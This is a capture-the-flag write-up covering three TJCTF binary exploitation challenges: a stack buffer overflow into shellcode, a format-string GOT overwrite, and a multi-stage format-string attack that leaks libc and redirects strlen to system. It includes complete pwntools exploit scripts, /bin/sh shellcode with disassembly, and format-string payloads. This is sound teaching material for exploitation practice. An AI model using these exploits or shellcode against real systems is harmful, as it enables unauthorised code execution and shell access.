In this part, we are going to take a look at the last 2 of 5 original binary exploit challenges and 6th, more complex, challenge published later.

Online Banking

Let’s take a look at the source:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define PIN_SIZE 4
#define NAME_SIZE 32

int verify_pin(char* pin) {
    char pin_check[PIN_SIZE+1];
    printf("Please verify your PIN first:\nPIN: ");
    fgets(pin_check, NAME_SIZE+1, stdin);
    for(int i = 0; i < 4; i ++) {
        if(pin[i] != pin_check[i])
            return 0;
    }
    return 1;
}

char name[NAME_SIZE+1];
char pin[PIN_SIZE+1];

int main() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setbuf(stdout, NULL);
    printf("Welcome to our Online Banking system!\n");
    printf("To use our system, please register an account with a 4-character PIN:\n");
    printf("Name: ");
    fgets(name, NAME_SIZE+1, stdin);
    printf("PIN: ");
    fgets(pin, PIN_SIZE+1, stdin);
    while(getchar() != '\n');
    unsigned int balance = 0;
    printf("Thank you for registering! You may now use our service.\n");
    char cmd = '\x00';
    while(cmd != 'q') {
        printf("\nWhat would you like to do?\n d - deposit\n w - withdraw\n q - quit\n");
        cmd = getchar();
        getchar();
        if(cmd == 'd') {
            if(verify_pin(pin)) {
                char deposit_s[16];
                printf("How much would you like to deposit?\n");
                fgets(deposit_s, 16, stdin);
                balance += atoi(deposit_s);
            } else {
                printf("Invalid PIN!\nFor security reasons, your account is now being locked.\n");
                cmd = 'q';
            }
        } else if(cmd == 'w') {
            if(verify_pin(pin)) {
                char deposit_s[16];
                printf("How much would you like to withdraw?\n");
                fgets(deposit_s, 16, stdin);
                balance -= atoi(deposit_s);
            } else {
                printf("Invalid PIN!\nFor security reasons, your account is now being locked.\n");
                cmd = 'q';
            }
        } else if(cmd != 'q') {
            printf("Unknown command!\n");
        }
        if(cmd == 'd' || cmd == 'w') {
            printf("Your current balance is %u\n",balance);
        }
    }
    printf("Have a nice day! Please come again soon.\n");
    return 0;
}

Looking carefully we see that problem is in:

fgets(pin_check, NAME_SIZE+1, stdin);

We have obvious 28 byte overflow (NAME_SIZE — PIN_SIZE). Using pwntools we can check for offsets,

    >>> cyclic(30,n=8)
    ......
    >>> cyclic_find('aaaaaaad',n=8)
    17

which gives us RIP after 17 bytes. Checking binary for security measures we see that NX and PIE are disabled.

[*] '/root/ctf/tjctf/online_banking/problem'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Without PIE address of name is going to be constant, so it is a good place to put our shellcode. We are going to use shellcode from shell-storm.org. Combining all this we get our solution :D.

#!/usr/bin/env python
from pwn import *

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

if __name__ == "__main__":
    context.arch = 'amd64'
    context.os   = 'linux'
    context.terminal = ["terminator", "-e"]

    pattern = cyclic(30,n=8)
    print pattern
    #r = process('./problem')
    r = remote('problem1.tjctf.org', 8005)
    print r.recvuntil('Name:')
    r.sendline(shellcode)
    print r.recvuntil('PIN:')
    r.sendline('test')
    print r.recvuntil('q - quit')
    r.sendline('d')
    #gdb.attach(r)
    r.sendline('A'*17+p64(0x6010a0))
    r.interactive()

Shellcode:

   0:    31 c0                    xor    eax, eax
   2:    48 bb d1 9d 96 91 d0     movabs rbx, 0xff978cd091969dd1
   9:    8c 97 ff  
   c:    48 f7 db                 neg    rbx
   f:    53                       push   rbx
  10:    54                       push   rsp
  11:    5f                       pop    rdi
  12:    99                       cdq
  13:    52                       push   rdx
  14:    57                       push   rdi
  15:    54                       push   rsp
  16:    5e                       pop    rsi
  17:    b0 3b                    mov    al, 0x3b
  19:    0f 05                    syscall

Secure Secrets

In this problem, we are only given binary, so one of the first steps is to use IDA and try to see how the program works. Two, for us, the most interesting functions are:

Secure secrets get_message function

Secure secrets get_secret function

We see that the program has format string vulnerability in get_message. Since to get our flag we just need to call get_secret, we can simply overwrite GOT entry of exit function (called at the end of main). Exploring stack we see that we can access our input at 35th position. Our exploit:

#!/usr/bin/env python
from pwn import *

def explore_stack(r):
    p = 'A'*4
    p += '%p'*29
    r.recvuntil('>')
    r.sendline("p")
    r.recvuntil('>')
    r.sendline(p)
    r.recvuntil('>')
    gdb.attach(r)
    r.sendline("p")

def access_stack(r):
    p = 'A'*4
    p += '|%35$p|'
    r.recvuntil('>')
    r.sendline("p")
    r.recvuntil('>')
    r.sendline(p)
    r.recvuntil('>')
    r.sendline("p")

def overwrite_exit(r):
    p = p32(0x804a02c)
    p += '%34574c|%35$hn|'
    r.recvuntil('>')
    r.sendline("p")
    r.recvuntil('>')
    r.sendline(p)
    r.recvuntil('>')
    #gdb.attach(r)
    r.sendline("p")

if __name__ == "__main__":
    context.arch = 'i386'
    context.os   = 'linux'
    context.terminal = ["terminator", "-e"]

    #r = process('./secure')
    r = remote('problem1.tjctf.org', 8008)

    overwrite_exit(r)
    #gdb.attach(r)
    r.interactive()

Super Secure Secrets

This was the last binary exploit challenge in TJCTF. Like in the previous one we are not given source code, so we are going to use IDA to check how the program works. At first, IDA didn’t produce good results, but with a bit few manual changes we get the following:

Super secure secrets secure_service

Super secure secrets get_message

Super secure secrets set_message

Run file on binary:

super_secure: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=19eaa9a0ae168cebfc88191546db1f1da54328a4, not stripped

Checksec:

RELRO          STACK CANARY     NX            PIE

Partial RELRO  Canary found     NX enabled    No PIE

Like Secure Secrets it also has format string exploit in get_message function, but this time there is no function to call and get the flag. The second problem is that the program exits after getting a message first time, so we can’t do multiple reads/writes. All in all, this challenge was very similar to Config Console from PicoCTF 2017. We have to exploit it in multiple steps:

  1. overwrite memset GOT entry with the address of secure_service so we can use format string vulnerability multiple times. Since memset is called only after printf, the address is not resolved at the time we trigger vulnerability for the 1st time so it’s enough to overwrite 2 bytes (%hn).

  2. Leak address of fgets and __libc_start_main to determine libc base address and calculate system address.

  3. Overwrite GOT entry of strlen with system. After this, we can just store the new message with content /bin/sh and get the flag.

Super secure secrets flag

One of the problems in this task was how to overwrite strlen. It has to be done in one go since partial overwrites would crash the program as strlen gets called every time we want to store a new message. We also can’t put more than one 64 bit address in our message because of the null byte they contain. The solution was to use password buffer. With PIE disabled it has constant address and as fgets doesn’t stop on null bytes we could enter both addresses we need there (strlen GOT and strlen GOT +2).

The second issue was finding the correct version of libc. For this we can use libc-database. After cloning repo we have to run ./get to download all configured libc versions and extract symbols. After that we can use it to query for correct libc with:

./find __libc_start_main ab0 fgets b20

We just have to provide a symbol name and last 3 bytes of address.

- F3real